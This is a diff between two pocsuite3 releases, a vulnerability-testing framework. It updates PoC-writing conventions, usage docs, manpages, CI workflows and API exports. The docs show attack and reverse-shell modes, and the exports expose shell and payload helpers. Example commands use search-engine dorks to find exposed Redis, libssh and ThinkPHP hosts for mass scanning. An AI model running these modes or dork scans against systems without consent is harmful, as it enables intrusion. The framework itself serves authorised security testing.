@@ -538,7 +561,7 @@ """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md -for more about information, plz visit http://pocsuite.org +for more about information, plz visit https://pocsuite.org """ from http.server import SimpleHTTPRequestHandler @@ -630,12 +653,9 @@ ``` +### Pocsuite3 集成调用
- - -### pocsuite3 集成调用
- -pocsuite3 api 提供了集成调用` pocsuite3` 的全部功能函数，可参见测试用例 `tests/test_import_pocsuite_execute.py`。典型的集成调用方法如下： +Pocsuite3 api 提供了集成调用` pocsuite3` 的全部功能函数，可参见测试用例 `tests/test_import_pocsuite_execute.py`。典型的集成调用方法如下： ```python from pocsuite3.api import init_pocsuite @@ -646,7 +666,7 @@ def run_pocsuite(): # config 配置可参见命令行参数， 用于初始化 pocsuite3.lib.core.data.conf config = { - 'url': ['http://127.0.0.1:8080', 'http://127.0.0.1:21'] + 'url': ['http://127.0.0.1:8080', 'http://127.0.0.1:21'], 'poc': ['ecshop_rce', 'ftp_burst'] } @@ -659,28 +679,29 @@ ### PoC 规范说明
#### PoC 编号说明
-PoC 编号ID 与漏洞 ID 一致. +PoC 编号 ID 与漏洞 ID 一致. -示例, 漏洞库中的漏洞统一采用“SSV-xxx”编号的方式, 则 PoC 编号为 xxx +示例，漏洞库中的漏洞统一采用 “SSV-xxx” 编号的方式，则 PoC 编号为 xxx #### PoC 命名规范
-PoC 命名分成3个部分组成漏洞应用名_版本号_漏洞类型名称 然后把文件名称中的所有字母改成小写,所有的符号改成_. -文件名不能有特殊字符和大写字母 最后出来的文件名应该像这样 +PoC 命名分成3个部分组成漏洞应用名_版本号_漏洞类型名称 然后把文件名称中的所有字母改成小写，所有的符号改成 `_` +文件名不能有特殊字符和大写字母，最后出来的文件名应该像这样： ``` _1847_seeyon_3_1_login_info_disclosure.py ``` #### PoC 第三方模块依赖说明
-PoC 编写的时候要求尽量不要使用第三方模块，如果必要使用，请在 PoC 的基础信息部分，增加 install_requires 字段，按照以下格式填写依赖的模块名。 +PoC 编写的时候要求尽量不要使用第三方模块，如果必要使用，请在 PoC 的基础信息部分，增加 install_requires 字段，按照以下格式填写依赖的模块名： ``` -install_requires =[str_item_,str_item,…] # 整个字段的值为list，每个项为一个依赖模块 +install_requires =[str_item_, str_item, …] # 整个字段的值为 list，每个项为一个依赖模块 ``` -str_item 格式：模块名==版本号，模块名为pip install 安装时的模块名（请不要填写 import 的模块名） +str_item 格式：模块名==版本号，模块名为 pip install 安装时的模块名（请不要填写 import 的模块名） + +如果遇到安装时模块名与调用时的不一致情况，用 `:` 分割开，例如常见的加密算法库 `pycryptodome`，但是调用是以 `from Crypto.Cipher import AES`，此时就需要如下填写： -如果遇到安装时模块名与调用时的不一致情况，用`:`分割开，例如常见的加密算法库`pycryptodome`,但是调用是以`from Crypto.Cipher import AES`,此时就需要如下填写 ```python install_requires = ['pycryptodome:Crypto'] ``` @@ -688,24 +709,24 @@ #### PoC 结果返回规范
-result 为PoC返回的结果数据类型, result返回值要求返回完整的一项, 暂不符合result字段的情况, 放入extra字段中, 此步骤必须尽可能的保证运行者能够根据信息 复现/理解 漏洞, 若果步骤复杂, 在取证信息中说明. 例如: +result 为 PoC 返回的结果数据类型，result 返回值要求返回完整的一项，暂不符合 result 字段的情况，放入 extra 字段中，此步骤必须尽可能的保证运行者能够根据信息 复现/理解 漏洞，若果步骤复杂，在取证信息中说明。例如： ```python - #返回数据库管理员密码 + # 返回数据库管理员密码 result['DBInfo']['Password']='xxxxx' - #返回 Webshell 地址 + # 返回 Webshell 地址 result['ShellInfo']['URL'] = 'xxxxx' - #返回网站管理员用户名 + # 返回网站管理员用户名 result['AdminInfo']['Username']='xxxxx' ``` **extra 字段说明**
-extra字段为通用结果字段的补充字段，如果需要返回的内容中不属于通用结果字段，那么可以使用extra字段进行赋值。extra字段为dict格式，可自定义key进行赋值，如 +extra 字段为通用结果字段的补充字段，如果需要返回的内容中不属于通用结果字段，那么可以使用 extra 字段进行赋值。extra 字段为 dict 格式，可自定义 key 进行赋值，如： ``` result['extra' ]['field'] = 'aa' ``` -**特殊字段：** evidence，针对结果中返回取证信息，定义字段名只允许为evidence，并且只能存储于extar字段，即 +**特殊字段：** evidence，针对结果中返回取证信息，定义字段名只允许为 evidence，并且只能存储于 extar 字段，即： ``` result['extra' ]['evidence'] = 'aa' ``` @@ -799,6 +820,7 @@ Arbitrary File Creation 任意文件创建 file-creation Arbitrary File Download 任意文件下载 file-download Arbitrary File Deletion 任意文件删除 file-deletion + Arbitrary File Read 任意文件读取 file-read Backup File Found 备份文件发现 bak-file-found Database Found 数据库发现 db-found Directory Listing 目录遍历 dir-listing @@ -814,7 +836,25 @@ Malware 挂马 mal Black Link 暗链 black-link Backdoor 后门 backdoor - + Insecure Cookie Handling 不安全的Cookie insecure-cookie-handling + Shellcode Shellcode shellcode + Variable Coverage 变量覆盖 variable-coverage + Injecting Malware Codes 恶意代码注入 injecting-malware-codes + Upload Files 文件上传 upload-files + Local Overflow 本地溢出 local-overflow + Path Traversal 目录穿越 path-traversal + Unauthorized Access 未授权访问 unauth-access + Remote Overflow 远程溢出 remote-overflow + Man-in-the-middle 中间人攻击 mitm + Out of Memory 内存溢出 out-of-memory + Buffer Over-read 缓冲区越界读 buffer-over-read + Backup File Found 备份文件泄漏 backup-file-found + Use After Free 释放后使用 uaf + DNS Hijacking DNS劫持 dns-hijacking + Improper Input Validation 不正确的输入校验 improper-input-validation + Universal Cross-site Scripting 通用型XSS uxss + Server-Side Request Forgery 服务器端请求伪造 ssrf + Other 其他 other 也可以参见[漏洞类型规范](http://seebug.org/category) diff -Nru pocsuite3-1.7.7/docs/USAGE.md pocsuite3-1.8.10/docs/USAGE.md --- pocsuite3-1.7.7/docs/USAGE.md 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/docs/USAGE.md 2022-01-10 22:07:00.000000000 +0000 @@ -1,16 +1,16 @@ # Usage -- **pocsuite**: a cool and hackable commane line program +- **pocsuite**: a cool and hackable command line program ## pocsuite -Enter into `pocsuite` directory, execute `python cli.py`. It supports double mode: +It supports three modes: - ```verify``` - ```attack``` - ```shell``` -You can also use ```python cli.py -h``` for more details. +You can also use ```pocsuite -h``` for more details. ``` usage: pocsuite [options] @@ -28,7 +28,8 @@ Target URL (e.g. "http://www.site.com/vuln.php?id=1") -f URL_FILE, --file URL_FILE Scan multiple targets given in a textual file - -r POC [POC ...] Load POC file from local or remote from seebug website + -r POC [POC ...] Load PoC file from local or remote from seebug website + -k POC_KEYWORD Filter PoC by keyword, e.g. ecshop -c CONFIGFILE Load options from a configuration INI file Mode: @@ -44,18 +45,17 @@ --cookie COOKIE HTTP Cookie header value --host HOST HTTP Host header value --referer REFERER HTTP Referer header value - --user-agent AGENT HTTP User-Agent header value - --random-agent Use randomly selected HTTP User-Agent header value + --user-agent AGENT HTTP User-Agent header value (default random) --proxy PROXY Use a proxy to connect to the target URL --proxy-cred PROXY_CRED Proxy authentication credentials (name:password) --timeout TIMEOUT Seconds to wait before timeout connection (default 30) - --retry RETRY Time out retrials times. + --retry RETRY Time out retrials times --delay DELAY Delay between two request of one thread --headers HEADERS Extra headers (e.g. "key1: value1\nkey2: value2") Account: - Telnet404、Shodan、CEye、Fofa account options + Telnet404, Shodan, CEye, Fofa account options --login-user LOGIN_USER Telnet404 login user @@ -67,36 +67,40 @@ fofa user --fofa-token FOFA_TOKEN fofa token + --quake-token QUAKE_TOKEN + quake token --censys-uid CENSYS_UID Censys uid --censys-secret CENSYS_SECRET Censys secret Modules: - Modules(Seebug、Zoomeye、CEye、Fofa Listener) options + Modules(Seebug, Zoomeye, CEye, Fofa, Quake, Listener) options - --dork DORK Zoomeye dork used for search. - --dork-b64 Whether dork is in base64 format + --dork DORK Zoomeye dork used for search --dork-zoomeye DORK_ZOOMEYE - Zoomeye dork used for search. + Zoomeye dork used for search --dork-shodan DORK_SHODAN - Shodan dork used for search. + Shodan dork used for search --dork-censys DORK_CENSYS - Censys dork used for search. + Censys dork used for search --dork-fofa DORK_FOFA - Fofa dork used for search. - --max-page MAX_PAGE Max page used in ZoomEye API(10 targets/Page). + Fofa dork used for search + --dork-quake DORK_QUAKE + Quake dork used for search + --max-page MAX_PAGE Max page used in search API --search-type SEARCH_TYPE search type used in ZoomEye API, web or host --vul-keyword VUL_KEYWORD - Seebug keyword used for search. - --ssv-id SSVID Seebug SSVID number for target PoC. + Seebug keyword used for search + --ssv-id SSVID Seebug SSVID number for target PoC --lhost CONNECT_BACK_HOST Connect back host for target PoC in shell mode --lport CONNECT_BACK_PORT Connect back port for target PoC in shell mode + --tls Enable TLS listener in shell mode --comparison Compare popular web search engines - --pcap capture package in verify mode + --dork-b64 Whether dork is in base64 format Optimization: Optimization options @@ -105,17 +109,23 @@ --pocs-path POCS_PATH User defined poc scripts path --threads THREADS Max number of concurrent network requests (default 1) - --batch BATCH Automatically choose defaut choice without asking. + --batch BATCH Automatically choose defaut choice without asking --requires Check install_requires - --quiet Activate quiet mode, working without logger. - --rule Export rules, default export reqeust and response. - --rule-req Only export request rule. - --rule-filename Specify the name of the export rule file. - --ppt Hiden sensitive information when published to the - network + --quiet Activate quiet mode, working without logger + --ppt Hiden sensitive information when published to the network + --pcap use scapy capture flow + --rule export suricata rules, default export reqeust and response + --rule-req only export request rule + --rule-filename RULE_FILENAME + Specify the name of the export rule file Poc options: definition options for PoC + + --options Show all definition options + +[*] shutting down at 14:39:27 + ``` **-f, --file URLFILE** @@ -123,10 +133,10 @@ Scan multiple targets given in a textual file ``` -$ python cli.py -r tests/poc_example.py -f url.txt --verify +$ pocsuite -r pocs/poc_example.py -f url.txt --verify ``` -> Attack batch processing mode only need to replace the ```--verify``` as ``` --attack```. +> Attack batch processing mode only need to replace the ```--verify``` to ```--attack```. **-r POCFILE** @@ -134,7 +144,7 @@ ``` -$ python cli.py -r ssvid-97343 -u http://www.example.com --shell +$ pocsuite -r ssvid-97343 -u http://www.example.com --shell ``` **--verify** @@ -142,7 +152,7 @@ Run poc with verify mode. PoC(s) will be only used for a vulnerability scanning. ``` -$ python cli.py -r pocs/poc_example.py -u http://www.example.com/ --verify +$ pocsuite -r pocs/poc_example.py -u http://www.example.com/ --verify ``` **--attack** @@ -150,7 +160,7 @@ Run poc with attack mode, PoC(s) will be exploitable, and it may allow hackers/researchers break into labs. ``` -$ python cli.py -r pocs/poc_example.py -u http://www.example.com/ --attack +$ pocsuite -r pocs/poc_example.py -u http://www.example.com/ --attack ``` **--shell** @@ -158,7 +168,7 @@ Run poc with shell mode, PoC will be exploitable, when PoC shellcode successfully executed, pocsuite3 will drop into interactive shell. ``` -$ python cli.py -r pocs/poc_example.py -u http://www.example.com/ --shell +$ pocsuite -r pocs/poc_example.py -u http://www.example.com/ --shell ``` **--threads THREADS** @@ -166,7 +176,7 @@ Using multiple threads, the default number of threads is 1 ``` -$ python cli.py -r tests/ -f url.txt --verify --threads 10 +$ pocsuite -r pocs/poc_example.py -f url.txt --verify --threads 10 ``` **--dork DORK** @@ -177,7 +187,7 @@ ``` -$ python cli.py --dork 'port:6379' --vul-keyword 'redis' --max-page 2 +$ pocsuite --dork 'port:6379' --vul-keyword 'redis' --max-page 2 ``` **--dork-shodan DORK** @@ -187,7 +197,7 @@ Search libssh server with `libssh` keyword. ``` - python3 cli.py -r pocs/libssh_auth_bypass.py --dork-shodan libssh --thread 10 + pocsuite -r pocs/libssh_auth_bypass.py --dork-shodan libssh --thread 10 ``` **--dork-fofa DORK** @@ -198,7 +208,7 @@ ``` - $ python3 cli.py -r pocs/check_http_status.py --dork-fofa 'body="thinkphp"' --search-type web --thread 10 + $ pocsuite -r pocs/check_http_status.py --dork-fofa 'body="thinkphp"' --search-type web --thread 10 ``` **--dork-quake DORK** @@ -209,7 +219,7 @@ ``` - $ python3 cli.py -r pocs/check_http_status.py --dork-quake 'app:"ThinkPHP"' --thread 10 + $ pocsuite -r pocs/check_http_status.py --dork-quake 'app:"ThinkPHP"' --thread 10 ``` **--dork-b64** @@ -218,7 +228,7 @@ ``` -$ python cli.py --dork cG9ydDo2Mzc5 --vul-keyword 'redis' --max-page 2 --dork-b64 +$ pocsuite --dork cG9ydDo2Mzc5 --vul-keyword 'redis' --max-page 2 --dork-b64 ``` **--rule** @@ -227,14 +237,14 @@ Use the --pocs-path parameter to set the directory where the poc needs to be ruled ``` -$ python cli.py --rule +$ pocsuite --rule ``` **--rule-req** In some cases, we may only need the request rule, --rule-req only export request rule. ``` -$ python cli.py --rule-req +$ pocsuite --rule-req ``` If you have good ideas, please show them on your way. @@ -267,4 +277,4 @@ console mode poc-console -``` \ No newline at end of file +``` diff -Nru pocsuite3-1.7.7/.github/workflows/lint.yml pocsuite3-1.8.10/.github/workflows/lint.yml --- pocsuite3-1.7.7/.github/workflows/lint.yml 1970-01-01 00:00:00.000000000 +0000 +++ pocsuite3-1.8.10/.github/workflows/lint.yml 2022-01-10 22:07:00.000000000 +0000 @@ -0,0 +1,40 @@ +name: Lint +on: [pull_request] + +jobs: + lint: + strategy: + matrix: + python-version: ['3.10'] + os: [ubuntu-latest] + runs-on: ${{ matrix.os }} + timeout-minutes: 30 + steps: + - uses: actions/checkout@v2 + - name: Cache for pip + uses: actions/cache@v1 + id: cache-pip + with: + path: ~/.cache/pip + key: ${{ matrix.os }}-cache-pip + + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v1 + with: + python-version: ${{ matrix.python-version }} + + - name: Critical lint + run: | + pip install flake8 + # https://michaelcurrin.github.io/dev-cheatsheets/cheatsheets/python/linting/flake8.html + flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics + + - name: Style lint + run: | + flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --ignore=C901,W503,W504 --statistics > current.txt + git fetch origin + git checkout origin/"$GITHUB_BASE_REF" + flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --ignore=C901,W503,W504 --statistics > base.txt + if diff base.txt current.txt | grep "^> ./"; then + false + fi diff -Nru pocsuite3-1.7.7/.github/workflows/pylint.yml pocsuite3-1.8.10/.github/workflows/pylint.yml --- pocsuite3-1.7.7/.github/workflows/pylint.yml 1970-01-01 00:00:00.000000000 +0000 +++ pocsuite3-1.8.10/.github/workflows/pylint.yml 2022-01-10 22:07:00.000000000 +0000 @@ -0,0 +1,38 @@ +name: PyLint +on: [pull_request] + +jobs: + pylint: + strategy: + matrix: + python-version: ['3.10'] + os: [ubuntu-latest] + runs-on: ${{ matrix.os }} + timeout-minutes: 30 + steps: + - uses: actions/checkout@v2 + - name: Cache for pip + uses: actions/cache@v1 + id: cache-pip + with: + path: ~/.cache/pip + key: ${{ matrix.os }}-cache-pip + + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v1 + with: + python-version: ${{ matrix.python-version }} + + - name: PyLint + run: | + set -x + pip install pylint + pip install --upgrade -r requirements.txt + # TODO: donot ignore serialization.py + pylint --exit-zero --errors-only --ignore=serialization.py pocsuite3 > current.txt + git fetch origin + git checkout origin/"$GITHUB_BASE_REF" + pylint --exit-zero --errors-only --ignore=serialization.py pocsuite3 > base.txt + if diff base.txt current.txt | grep "^> "; then + false + fi diff -Nru pocsuite3-1.7.7/.github/workflows/test.yml pocsuite3-1.8.10/.github/workflows/test.yml --- pocsuite3-1.7.7/.github/workflows/test.yml 1970-01-01 00:00:00.000000000 +0000 +++ pocsuite3-1.8.10/.github/workflows/test.yml 2022-01-10 22:07:00.000000000 +0000 @@ -0,0 +1,30 @@ +name: Test +on: [pull_request] + +jobs: + test: + strategy: + matrix: + python-version: [3.7, '3.10'] + os: [ubuntu-latest, macos-latest, windows-latest] + runs-on: ${{ matrix.os }} + timeout-minutes: 30 + steps: + - uses: actions/checkout@v2 + - name: Cache for pip + uses: actions/cache@v1 + id: cache-pip + with: + path: ~/.cache/pip + key: ${{ matrix.os }}-cache-pip + + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v1 + with: + python-version: ${{ matrix.python-version }} + + - name: Install dependencies & Test + run: | + pip install --upgrade -r requirements.txt + python setup.py install + python test.py diff -Nru pocsuite3-1.7.7/manpages/poc-console.1 pocsuite3-1.8.10/manpages/poc-console.1 --- pocsuite3-1.7.7/manpages/poc-console.1 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/manpages/poc-console.1 2022-01-10 22:07:00.000000000 +0000 @@ -7,15 +7,15 @@ .SH NAME .I poc-console \- console mode of -.B pocsuite. +.B pocsuite3. .SH Legal Disclaimer -poc-console is part of pocsuite. Usage of pocsuite for attacking targets without prior mutual consent is illegal. -pocsuite is for security testing purposes only. +poc-console is part of pocsuite3. Usage of pocsuite3 for attacking targets without prior mutual consent is illegal. +pocsuite3 is for security testing purposes only. .SH SYNOPSIS .B poc-console .SH DESCRIPTION -.I poc-console is the console mode of pocsuite. -.I pocsuite +.I poc-console is the console mode of pocsuite3. +.I pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the Knownsec 404 Team. It comes with a powerful proof-of-concept engine, many nice features for the ultimate @@ -25,13 +25,13 @@ enter help at the console prompt. .SH "SEE ALSO" The full documentation for -.B pocsuite +.B pocsuite3 is maintained at: .br .I https://github.com/knownsec/pocsuite3/blob/master/docs/USAGE.md .PP .SH VERSION -This manual page documents pocsuite version 1.7.7 +This manual page documents pocsuite3 version 1.8.10 .SH AUTHOR .br (c) 2014-2021 by Knownsec 404 Team @@ -40,10 +40,10 @@ .LP This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free -Software Foundation; Version 2 (or later) with the clarifications and +Software Foundation; Version 2 with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed -pocsuite technology into proprietary software, we sell alternative licenses +pocsuite3 technology into proprietary software, we sell alternative licenses (contact 404-team@knownsec.com). .PP Manual page started by Tian Qiao diff -Nru pocsuite3-1.7.7/manpages/pocsuite.1 pocsuite3-1.8.10/manpages/pocsuite.1 --- pocsuite3-1.7.7/manpages/pocsuite.1 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/manpages/pocsuite.1 2022-01-10 22:07:00.000000000 +0000 @@ -5,11 +5,11 @@ .\" Tian Qiao .\" .SH NAME -.I pocsuite +.I pocsuite3 \- open-sourced remote vulnerability testing framework. .SH Legal Disclaimer -Usage of pocsuite for attacking targets without prior mutual consent is illegal. -pocsuite is for security testing purposes only. +Usage of pocsuite3 for attacking targets without prior mutual consent is illegal. +pocsuite3 is for security testing purposes only. .SH SYNOPSIS .B pocsuite \-h[elp] @@ -18,7 +18,7 @@ [options] .br .SH DESCRIPTION -.I pocsuite +.I pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the Knownsec 404 Team. It comes with a powerful proof-of-concept engine, many nice features for the ultimate @@ -50,6 +50,9 @@ \fB\-r\fR POC [POC ...] Load POC file from local or remote from seebug website .TP +\fB\-k\fR POC_KEYWORD +Filter PoC by keyword, e.g. ecshop +.TP \fB\-c\fR CONFIGFILE Load options from a configuration INI file .SS "Mode:" @@ -78,10 +81,7 @@ HTTP Referer header value .TP \fB\-\-user\-agent\fR AGENT -HTTP User\-Agent header value -.TP -\fB\-\-random\-agent\fR -Use randomly selected HTTP User\-Agent header value +HTTP User\-Agent header value (default random) .TP \fB\-\-proxy\fR PROXY Use a proxy to connect to the target URL @@ -93,7 +93,7 @@ Seconds to wait before timeout connection (default 30) .TP \fB\-\-retry\fR RETRY -Time out retrials times. +Time out retrials times .TP \fB\-\-delay\fR DELAY Delay between two request of one thread @@ -119,6 +119,9 @@ \fB\-\-fofa\-token\fR FOFA_TOKEN fofa token .TP +\fB\-\-quake\-token\fR QUAKE_TOKEN +quake token +.TP \fB\-\-censys\-uid\fR CENSYS_UID Censys uid .TP @@ -129,31 +132,31 @@ Modules (Seebug, Zoomeye, CEye, Fofa, Listener) options .TP \fB\-\-dork\fR DORK -Zoomeye dork used for search. +Zoomeye dork used for search .TP \fB\-\-dork\-zoomeye\fR DORK_ZOOMEYE -Zoomeye dork used for search. +Zoomeye dork used for search .TP \fB\-\-dork\-shodan\fR DORK_SHODAN -Shodan dork used for search. +Shodan dork used for search .TP \fB\-\-dork\-censys\fR DORK_CENSYS -Censys dork used for search. +Censys dork used for search .TP \fB\-\-dork\-fofa\fR DORK_FOFA -Fofa dork used for search. +Fofa dork used for search .TP \fB\-\-max\-page\fR MAX_PAGE -Max page used in ZoomEye API(10 targets/Page). +Max page used in search API .TP \fB\-\-search\-type\fR SEARCH_TYPE search type used in ZoomEye API, web or host .TP \fB\-\-vul\-keyword\fR VUL_KEYWORD -Seebug keyword used for search. +Seebug keyword used for search .TP \fB\-\-ssv\-id\fR SSVID -Seebug SSVID number for target PoC. +Seebug SSVID number for target PoC .TP \fB\-\-lhost\fR CONNECT_BACK_HOST Connect back host for target PoC in shell mode @@ -161,6 +164,9 @@ \fB\-\-lport\fR CONNECT_BACK_PORT Connect back port for target PoC in shell mode .TP +\fB\-\-tls\fR +Enable TLS listener in shell mode +.TP \fB\-\-comparison\fR Compare popular web search engines .TP @@ -180,13 +186,13 @@ Max number of concurrent network requests (default 1) .TP \fB\-\-batch\fR BATCH -Automatically choose defalut choice without asking. +Automatically choose defalut choice without asking .TP \fB\-\-requires\fR Check install_requires .TP \fB\-\-quiet\fR -Activate quiet mode, working without logger. +Activate quiet mode, working without logger .TP \fB\-\-ppt\fR Hiden sensitive information when published to the @@ -206,6 +212,9 @@ .SS "Poc options:" .IP definition options for PoC +.TP +\fB\-\-options\fR +Show all definition options .SH EXAMPLES .PP .br @@ -241,13 +250,13 @@ .br .SH "SEE ALSO" The full documentation for -.B pocsuite +.B pocsuite3 is maintained at: .br .I https://github.com/knownsec/pocsuite3/blob/master/docs/USAGE.md .PP .SH VERSION -This manual page documents pocsuite version 1.7.7 +This manual page documents pocsuite3 version 1.8.10 .SH AUTHOR .br (c) 2014-2021 by Knownsec 404 Team @@ -256,10 +265,10 @@ .LP This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free -Software Foundation; Version 2 (or later) with the clarifications and +Software Foundation; Version 2 with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed -pocsuite technology into proprietary software, we sell alternative licenses +pocsuite3 technology into proprietary software, we sell alternative licenses (contact 404-team@knownsec.com). .PP Manual page started by Tian Qiao diff -Nru pocsuite3-1.7.7/pocsuite3/api/__init__.py pocsuite3-1.8.10/pocsuite3/api/__init__.py --- pocsuite3-1.7.7/pocsuite3/api/__init__.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/api/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,44 +1,50 @@ from pocsuite3.lib.controller.controller import start -from pocsuite3.lib.core.common import single_time_warn_message, encoder_bash_payload, encoder_powershell_payload, \ - get_host_ipv6 +from pocsuite3.lib.core.common import (encoder_bash_payload, + encoder_powershell_payload, + get_host_ipv6, single_time_warn_message) from pocsuite3.lib.core.data import conf, kb, logger, paths from pocsuite3.lib.core.datatype import AttribDict from pocsuite3.lib.core.enums import PLUGIN_TYPE, POC_CATEGORY, VUL_TYPE +from pocsuite3.lib.core.interpreter_option import (OptBool, OptDict, OptFloat, + OptInteger, OptIP, OptItems, + OptPort, OptString) from pocsuite3.lib.core.option import init, init_options from pocsuite3.lib.core.plugin import PluginBase, register_plugin -from pocsuite3.lib.core.poc import POCBase, Output -from pocsuite3.lib.core.register import ( - load_file_to_module, - load_string_to_module, - register_poc, -) +from pocsuite3.lib.core.poc import Output, POCBase +from pocsuite3.lib.core.register import (load_file_to_module, + load_string_to_module, register_poc) from pocsuite3.lib.core.settings import DEFAULT_LISTENER_PORT from pocsuite3.lib.request import requests -from pocsuite3.lib.utils import get_middle_text, generate_shellcode_list, random_str +from pocsuite3.lib.utils import (generate_shellcode_list, get_middle_text, + random_str) +from pocsuite3.modules.censys import Censys from pocsuite3.modules.ceye import CEye -from pocsuite3.modules.listener import REVERSE_PAYLOAD +from pocsuite3.modules.fofa import Fofa +from pocsuite3.modules.httpserver import PHTTPServer +from pocsuite3.modules.listener import (REVERSE_PAYLOAD, bind_shell, + bind_tcp_shell, bind_telnet_shell) from pocsuite3.modules.quake import Quake from pocsuite3.modules.seebug import Seebug -from pocsuite3.modules.zoomeye import ZoomEye from pocsuite3.modules.shodan import Shodan -from pocsuite3.modules.fofa import Fofa -from pocsuite3.modules.censys import Censys from pocsuite3.modules.spider import crawl -from pocsuite3.modules.httpserver import PHTTPServer +from pocsuite3.modules.zoomeye import ZoomEye +from pocsuite3.modules.interactsh import Interactsh from pocsuite3.shellcodes import OSShellcodes, WebShell -from pocsuite3.lib.core.interpreter_option import OptDict, OptIP, OptPort, OptBool, OptInteger, OptFloat, OptString, \ - OptItems, OptDict -__all__ = ( - 'requests', 'PluginBase', 'register_plugin', - 'PLUGIN_TYPE', 'POCBase', 'Output', 'AttribDict', 'POC_CATEGORY', 'VUL_TYPE', - 'register_poc', 'conf', 'kb', 'logger', 'paths', 'DEFAULT_LISTENER_PORT', 'load_file_to_module', - 'load_string_to_module', 'single_time_warn_message', 'CEye', 'Seebug', - 'ZoomEye', 'Shodan', 'Fofa', 'Quake', 'Censys', 'PHTTPServer', 'REVERSE_PAYLOAD', 'get_listener_ip', 'get_listener_port','get_listener_port', - 'get_results', 'init_pocsuite', 'start_pocsuite', 'get_poc_options', 'crawl', - 'OSShellcodes', 'WebShell', 'OptDict', 'OptIP', 'OptPort', 'OptBool', 'OptInteger', 'OptFloat', 'OptString', - 'OptItems', 'OptDict', 'get_middle_text', 'generate_shellcode_list', 'random_str', 'encoder_bash_payload', - 'encoder_powershell_payload', 'get_host_ipv6') +__all__ = ('requests', 'PluginBase', 'register_plugin', 'PLUGIN_TYPE', + 'POCBase', 'Output', 'AttribDict', 'POC_CATEGORY', 'VUL_TYPE', + 'register_poc', 'conf', 'kb', 'logger', 'paths', + 'DEFAULT_LISTENER_PORT', 'load_file_to_module', + 'load_string_to_module', 'single_time_warn_message', 'CEye', + 'Seebug', 'ZoomEye', 'Shodan', 'Fofa', 'Quake', 'Censys', + 'PHTTPServer', 'REVERSE_PAYLOAD', 'get_listener_ip', + 'get_listener_port', 'get_results', 'init_pocsuite', + 'start_pocsuite', 'get_poc_options', 'crawl', 'OSShellcodes', + 'WebShell', 'OptDict', 'OptIP', 'OptPort', 'OptBool', 'OptInteger', + 'OptFloat', 'OptString', 'OptItems', 'get_middle_text', + 'generate_shellcode_list', 'random_str', 'encoder_bash_payload', + 'encoder_powershell_payload', 'get_host_ipv6', 'bind_shell', + 'bind_tcp_shell', 'bind_telnet_shell', 'Interactsh') def get_listener_ip(): diff -Nru pocsuite3-1.7.7/pocsuite3/data/user-agents.txt pocsuite3-1.8.10/pocsuite3/data/user-agents.txt --- pocsuite3-1.7.7/pocsuite3/data/user-agents.txt 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/data/user-agents.txt 1970-01-01 00:00:00.000000000 +0000 @@ -1,100 +0,0 @@ -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; Linux x86_64) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16pre) Gecko/20110304 Ubuntu/10.10 (maverick) Firefox/3.6.15pre -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17 -Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; zh-tw) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:2.0) Gecko/20110307 Firefox/4.0 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/420+ (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7) Gecko/20040626 Firefox/0.9.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.9.9 